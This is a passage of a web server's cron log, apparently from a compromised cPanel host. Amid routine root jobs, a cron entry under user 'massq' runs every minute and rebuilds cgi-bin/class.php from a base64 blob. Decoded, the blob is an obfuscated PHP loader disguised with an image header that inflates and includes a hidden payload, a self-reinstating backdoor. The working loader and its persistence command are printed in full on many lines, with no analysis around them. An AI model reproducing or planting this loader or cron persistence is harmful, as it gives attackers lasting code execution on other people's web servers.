&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:30:01 server CROND[27750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 23:30:01 server CROND[27751]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:30:01 server CROND[27749]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 23:30:01 server CROND[27752]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:31:01 server CROND[28063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:32:01 server CROND[28406]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:33:01 server CROND[28658]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:34:01 server CROND[28913]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:35:01 server CROND[29180]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 23:35:01 server CROND[29181]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 23:35:01 server CROND[29185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 23:35:01 server CROND[29186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:35:01 server CROND[29187]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:36:01 server CROND[29511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:37:01 server CROND[29780]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:38:01 server CROND[30151]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:39:01 server CROND[30416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:39:01 server CROND[30417]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 23:40:01 server CROND[30684]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 23:40:01 server CROND[30685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 23:40:01 server CROND[30686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:40:01 server CROND[30687]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:41:01 server CROND[31014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:42:01 server CROND[31413]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
